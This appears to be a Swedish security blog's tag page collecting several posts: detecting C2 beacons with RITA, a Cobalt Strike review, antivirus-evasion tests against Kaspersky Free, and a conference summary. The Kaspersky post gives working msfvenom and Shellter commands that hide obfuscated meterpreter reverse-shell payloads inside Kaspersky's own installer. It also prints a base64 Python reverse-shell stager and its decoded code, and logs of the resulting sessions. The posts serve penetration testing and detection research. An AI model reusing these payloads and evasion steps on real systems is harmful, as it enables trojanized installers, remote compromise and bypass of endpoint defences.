Taggat med: Meterpreter

Identifiera beacons (bakdörrstrafik) med RITA

Identifiera beacons (bakdörrstrafik) med RITA

Det amerikanska cybersäkerhetsföretaget Active Countermeasures har en intressant open-source produkt som heter RITA. RITA står för Real Intelligence Threat Analytics är ett verktyg för dig som vill genomföra Cyber Threat Hunting.

RITA läser in data från Zeek (fd Bro) och kan genomföra följande:

  • Beacon-detektion – Sök efter tecken på beaconing-beteende in och ut ur ditt nätverk.
  • DNS-tunnelavkänning – Sök efter tecken på DNS-baserade bakdörrskanaler
  • Kontroll mot svartlisor – Sök mot ett antal olika svartlistor/blocklists

Jag intresserar mig dock mest för beacon-detektion då detta finns inbyggt i flertalet kommersiella produkter såsom Cisco Encrypted Traffic Analytics  men få open-source produkter kan söka efter denna typ av nätverkstrafik.

Beacons används av bakdörrs-ramverk (C2 frameworks) såsom Cobalt Strike, Metasploit, Empire, SharpC2 och PoshC2 för att nämna några.

RITA är utvecklat i programspråket Go och kan installeras i SecurityOnion, Ubuntu 16.04, Ubuntu 18.04 eller CentOS 7 om du vill köra med det medföljande scriptet install.sh. Du kan även installera RITA på egen hand eller köra RITA under Docker.

Stöd gärna mitt bloggande via Patreon >

De beroenden som RITA har är förutom Zeek är också databasen MongoDB. Jag installerar RITA utan Zeek och MongoDB och editerar sedan konfigg-filen /etc/rita/config.yaml så att den pekar mot min fristående mongodb.

Observera att du ej kan köra RITA med det paket som följer med Ubuntu 16.04 eftersom det är 2.6.10. RITA behöver mongodb-version som är mellan 3.2.0 och 3.7.0.

Jag fick det att fungera genom att installera mongodb version 3.6.18.

Analysera PCAP efter bakdörrar

Nu när RITA är installerat så måste jag först köra zeek på de pcap-filer jag har sparat ner. Bäst fungerar det om du har en pcap-fil för varje dag, detta kan vara problematiskt om du har många filer men går att lösa med verktyg såsom mergecap.

Första steget är att läsa in ett dygns pcap-fil med zeek och skriva ut loggfilerna. Detta exempel gäller dagen 2020-06-05 och pcap-filen var på 33GB:

$ cd /data/pcap
$ mkdir -p zeek/2020-06-05
$ cd zeek/2020-06-05
$ zeek -Cr ../../trace_2020-06-05.pcap local

Ovan kommando tar cirka 15 minuter på min Raspberry Pi och sedan att importera detta via RITA mot mongodb tar ca 3 minuter:

Nu när vi har importerat mappen 2020-06-05 mot RITA-databasen vid namn 2020-06-05 så kan vi titta på analysen när det gäller beacons på följande sätt:

Observera att ovan bild är censurerad av mig. Men när jag tittar på source/dst-IP så ser jag att två översta går till 8.8.8.8 respektive 8.8.4.4 vilket är Googles DNS och troligtvis false-positive. Det som är intressant här är första kolumnen vid namn score och en score på 0.9 och över är mycket intressant. Kör jag metasploit och meterpreter så hamnar score på 0.987.

Och tittar vi på beacon-trafik från Cobalt Strike så ligger standard på sleeptime 30000 millisekunder och 20% jitter. Vilket motsvarar följande kommando från agressor-klienten:

Vill du läsa mer om den underliggande algoritmen så hittar du koden här:

Och en analys av RITA på Cobalt Strike som legat och kommunicerat en hel dag så blir analysen enligt följande:

RITA beacon Cobalt Strike

Rad 17 som är rödmarkerad är den trafik som tillhör Cobalt Strike, och får enbart en score på 0.829 samt hamnar på 16:de plats på topplistan. Resten är enbart falska positiva, dvs videostreaming, DNS-uppslag osv. Så kontentan är att det inte är helt trivialt att detektera Cobalt Strikes standardkonfigurering.

Gillade du detta blogginlägg? Hjälp mig att blogga mer genom att stödja mig via Patreon >

Test av Cobalt Strike

Cobalt Strike

För några månader sedan så införskaffade jag en licens till Cobalt Strike (CS). Jag tänkte dela med mig av mina erfarenheter om vad CS är och vad et kan användas till.

CS är ett kommersiellt bakdörrs-ramverk (C2 framework) som hjälper dig att kommunicera och utföra operationer. Du kan enkelt anpassa ramverket för att försvåra för antivirus-mjukvaror och liknande att upptäcka CS. Det finns även vissa likheter mellan Metasploits Meterpreter och CS, även om Metasploit är kompatibelt med CS.

CS består av tre olika komponenter kan man förenklat säga:

  • Teamserver – Serverdelen som sköter kommunikationen
  • Operatörsklient – Används för att erhålla ett grafiskt gränssnitt och ansluta mot serverdelen. Har chatt osv som gör klienten bra att använda vid Red Teaming-operationer där ni är många.
  • Implantat – Den payload som ska exekveras på målet och skicka beacons till teamserver. Finns som stage och stage-less.

Viktigt också är att veta vad CS inte är:

  • Hjälper dig inte att identifiera sårbarheter
  • Få exploits, enbart 2-3 stycken
  • Implantatet (C2-klienten) funkar enbart på Windows

Mina egna favoriter när det gäller CS är följande:

  • Malleable profiles – Möjliggör unik beacon-nätverkstrafik
  • Man in the browser – Gör att du kan använda webbläsaren som en proxy och använda autentiserade sessioner med smartcards exempelvis
  • Utbildning – Grundaren Raphael Mudge har lagt upp hundratals videos på YouTube för den som vill lära sig.
  • Artifact Kit – För dig som vill ändra implantatet så inte antivirus upptäcker din bakdörr.

För den som vill hålla sig uppdaterad med nya funktioner rekommenderar jag att följa den ändringslogg som återfinnes här: https://www.cobaltstrike.com/releasenotes.txt

Kostnaden för en licens ligger på 35000 SEK första året och sedan 25000 SEK efterkommande år.

Test av gratis anti-virus från Kaspersky

Kaspersky lanserade nyligen en gratis version av sin antivirusmjukvara och jag bestämde mig för att testa vad den går för. Som del av mina uppdrag då jag testar säkerheten för mina uppdragsgivare (penetrationstester) så förekommer det att jag får i uppdrag att ta mig förbi eventuella säkerhetsprodukter såsom sandlådor och antivirus.

Det råder ingen tvekan om att det går att ta sig förbi majoriteten av alla säkerhetssystem såsom sandlådor, data loss prevention-verktyg och antivirus. Att däremot upptäcka i tid när någon försöker ta sig förbi ett säkerhetssystem och reagera på detta är avgörande.

Allmänna synpunkter om Kaspersky Free

Att ladda hem och installera Kaspersky Free Anti-Virus gick smidigt. Vid installationen fick jag frågan om jag vill ingå i Kaspersky Security Network (KSN) och då dela med mig av information om min dator samt skadlig kod som upptäcks på min dator. Jag förstår att inget i livet är gratis och att om jag använder Kaspersky Free så måste jag dela med mig av något. Men det verkar inte som att det är ett måste att ingå i KSN.

Nästa fundering är att det står att licensen gäller i 365 dagar. Vad händer efter det?

Test 1: Testvirus Eicar vs Kaspersky

Det första testet jag genomför är att ladda hem testviruset Eicar. Det finns på eicar.org och går att ladda hem på lite olika sätt: Direkt via HTTP, HTTPS eller i zip-fil. När jag laddar hem Eicar via HTTP så får jag ett meddelande direkt i webbläsaren att jag försöker ladda hem skadlig kod, vilket då påvisar att Kaspersky granskar okrypterad webbtrafik.

När jag försöker ladda hem Eicar via HTTPS så får jag inget meddelande, men jag varnas om jag aktivt försöker starta filen eller söker igenom filen. Detta visar på att Kaspersky ej troligtvis genomför MITM (man i mitten på HTTPS-surf).

Bra, då har vi verifierat att Kaspersky Free Anti-Virus är korrekt installerat.

Test 2: Powershell implantat vs Kaspersky

Nu börjar det bli lite mer avancerat. I detta test  tänker jag testa ett implantat som heter PoshC2 och ligger på Github. Implantatet kan levereras via MS16-051, Word-makron eller Java JAR-filer. Jag väljer att köra via ett Word-makro och installation samt kommunikation fungerar utmärkt.

PoshC2-implantat vs. Kaspersky

Skärmdumpen ovan påvisar att beacon skickas var femte sekund och att användaren heter IEUser. Eftersom Kaspersky var dålig på att upptäcka detta implantat så testar jag även att skicka upp Word-dokumentet till VirusTotal:

Bland de antivirus-motorer som detekterar denna skadlig kod är Avira, Avast, Fortinet och AVG.  Jag noterar också att den gratis IOC-skannern Loki detekterar detta.

Test 3: Metasploit vs Kaspersky

Med hjälp av operativsystemet Kali Linux där Metasploit finns förinstallerat skapar jag en meterpreter reverse TCP payload.

Jag använder msfvenom på följande sätt:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.101.2.254 LPORT=443 -f raw -e x86/shikata_ga_nai -i 9 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -x kfa17.0.0.611abcsv_11811.exe -k -f exe -o kfa17.0.0.611abcsv_11811-meterpreter-msf.exe

Ovan kommandorad använder flertalet obfuskerare såsom shikata-ga-nai och lägger till Metasploits modul för att ansluta hem.

Denna payload gömmer vi sedan i Kasperskys egen installationsfil kfa17.0.0.611abcsv_11811.exe.

Detta var dock ingen match för Kaspersky att upptäcka:

Nästa test jag gör med Metasploit är att skapa en Python payload med hjälp av msfvenom:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.99.101 LPORT=443

Denna kod måste jag sedan modifiera så den fungerar tillsammans med PyInstaller som skapar en fristående .exe-fil.

Ser ut ungefär så här:

import base64,sys,socket,code,platform,shutil
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguOTkuMTAxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

Vilket motsvarar följande kod utan Base64-kodning:

import socket,struct,time
for x in range(10):
  try:
	s=socket.socket(2,socket.SOCK_STREAM)
	s.connect(('192.168.99.101',443))
	break
  except:
	time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
  while len(d)

När jag sedan testar att köra exe-filen från PyInstaller så blir det ingen detektion hos Kaspersky:

[*] Sending stage (40747 bytes) to 192.168.99.100
[*] Meterpreter session 6 opened (192.168.99.101:443 -> 192.168.99.100:50511) at 2017-08-24 09:44:11 -0400
 msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > sysinfo
 Computer : IE11Win8_1
 OS : Windows 8.1 6.3.9600
 Architecture : x86
 Meterpreter : python/windows
 meterpreter >

Eftersom Kaspersky inte lyckades att detektera mitt test är det intressant att se vad VirusTotal säger om filen. Nu får jag en detektionsratio på 13 av 64 antivirus-motorer.

Test 4: Shellter vs Kaspersky

Shellter Project är ett intressant verktyg som enligt utvecklaren kan användas för att dynamiskt injicera shellcode i PE-filer (Portable Executable).

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.

Inbyggt i Shellter är möjligheten att skapa ett antal olika Metasploit meterpreter payloads:

  • meterpreter_reverse_tcp
  • meterpreter_reverse_http
  • meterpreter_reverse_https
  • meterpreter_bind_tcp
  • shell_reverse_tcp
  • shell_bind_tcp
  • WinExec

Och väljer du att köpa betalversionen (Pro) för 90 USD så får du ytterligare några payloads:

  • Meterpreter_Reverse_WINHTTP
  • Meterpreter_Reverse_WINHTTPS
  • Shell_Reverse_TCP_DNS

Och har du en egen payload så går det givetvis också bra. Några exempel på egen payload följer med i mappen shellcode_samples.

Jag kör Kali Linux där jag installerat Windows-emulatorn Wine och startar ShellterPro som är betalversionen med hjälp av följande argument:

wine ShellterPro.exe -f ../kfa17.0.0.611abcsv_11811.exe -p meterpreter_reverse_tcp --lhost 192.168.99.101 --port 443 --encode --handler IAT --polyExtra --incSize 500 --Junk -s

Detta gör att payloaden meterpreter_reverse_tcp läggs till i filen kfa17.0.0.611abcsv_11811.exe. Övriga argument har att göra med hur Shellter försöker dölja payloaden för antivirus-program.

Sedan för jag över filen till Windows där Kaspersky körs och får då en anslutning till Metasploit när användaren klickar på filen:

[*] Sending stage (956991 bytes) to 192.168.99.100
[*] Meterpreter session 1 opened (192.168.99.101:443 -> 192.168.99.100:57922) at 2017-08-25 02:38:52 -0400

msf exploit(handler) >
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : IE11WIN8_1
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >

Laddar jag sedan upp denna testfil till VirusTotal så är det enbart 4 st antivirus-motorer som identifierar denna som skadlig kod:

Slutsats

Det är relativt lätt att ta sig förbi Kaspersky antivirus men ovan visar på att inget antivirus är fullständigt. Om du vill vara på den säkra sidan bör du använda flertalet antivirus-motorer, åtminstone i gateways såsom perimeterskyddet mot internet och vid analys av filer på löstagbart media.

Att använda ett antivirusprogram är helt klart bättre än att inte använda något alls. I ovan tester mot VirusTotal så ingår inte Microsofts eget gratisskydd Security Essentials.

Tack till Laban Sköllermark och Emma Lilliestam för korrekturläsning.

Next Generation Threats 2015 eftermiddag

Detta är del två i sammanfattningen av IT-säkerhetskonferensen Next Generation Threats 2015. Del ett kan du läsa här.

Jan Wünsche – Defending information in a complex reality

Jan Wünsche

Jan pratar om att MUST har ett uppdrag att skydda Försvarsmakten. Och att han representerar S:et i och inte U:et i MUST dvs Säkerhetskontoret. Försvarsmakten och MUST är en myndighet försöker att bli öppnare och Jans föredrag idag är ett steg till det.

Vi måste tänka på vilken data vi lagrar vart och vilka leverantörer som lagrar data om våra medarbetare. Hur färdas datatrafiken och hur tänker vi på tillgängligheten om hotbilden mot Sverige ökar?

Försvarsmakten använder fysiskt separerade system och äger sin egna infrastruktur med egna kablar etc. Behovet att kommunicera med andra ökar hela tiden, även för Försvarsmakten.

Se exempelvis hur det ser ut för ISAF i Afghanistan där 47 olika länder måste kommunicera med varandra. Och det gäller inte bara öppna system utan Försvarsmakten behöver även kommunicera mellan klassificerade system.

Jan nämner även att antagonister nu angriper privata datorer istället för myndighetens IT-system i hopp om att anställda tagit med sig information hem och att säkerheten är lägre på privata datorer.

Jan Wünsche är Information Assurance Strategist vid MUST.

Marcus Murray – APT, Cybercrime and cyber warfare exposed

Marcus Murray

Förr i tiden så var det enkelt att ta sig förbi brandväggen. Främst för att man bara hade en brandvägg som avgränsade Internet mot övriga nätverket. Marcus berättar att kommer att demonstrera en attack som är uppbyggd att avspegla hur en riktigt IT-angrepp skulle kunna gå till.

Marcus visar en liten USB-enhet som kan användas för att äga en dator. Just denna är programmerad att fungera som ett tangentbord. Han använder Microsoft PowerShell för att exekvera Meterpreter som gör en connect-back. Allt genomförs enbart i minnet och inget skrivs till hårddisken.

Connect-backen går till Microsoft Azure där en server hyrs och Metasploit sitter och väntar på connect-backs på https port 443.

När väl det finns en etablerad session till en klientdator så kör han Nmap från klienten och söker efter MSSQL-servrar på port 1433. Efter detta så testas de vanligaste lösenorden och ett av dessa lyckas: AStrongSAP@ssw0rd.

Igen så används PowerShell för att starta upp Meterpreter så att inte hårddisken används. Marcus berättar även om DNSCat2 som använder PowerShell för att tunnla trafik över DNS.

Sedan på MSSQL-servern så använder han Mimikatz för att dumpa ut hashar från systemet som sedan används för att ansluta mot domänkontrollanten.

Även så visar Marcus lösenordsdumpen från Adobe som drabbades av intrång för några år sedan. Några intressanta namn som fanns med i den var Stefan Löfven och Fredrik Reinfeldt som hade lösenordet bananskal samt steffe.

Marcus Murray är Cyber Security Manager på TrueSec.

Charlotta Öhlén – Identity Crisis

Charlotta Öhlén

Charlotta jobbar på Nexus och berättar om olika kunduppdrag där de levererat där smartcards-används för inloggning. Cast study #1 är läkare i Norge som loggar in med hjälp av dessa smarta kort.

Identity of Things handlar cast study #2 om då en CA fungerar som en managed service. Cast study #3 handlar om patientsäkerhet hos företaget Elekta där vitlistning används för mjukvaror.

Dynamisk och central identitetshantering är ett måste och inte enbart för individer utan även för mjukvaror och andra saker. Integritet är en också viktig faktor då mer och mer information hamnar i identitetshanteringen.

Charlotta Öhlén är till vardags Consulting Director vid Nexus.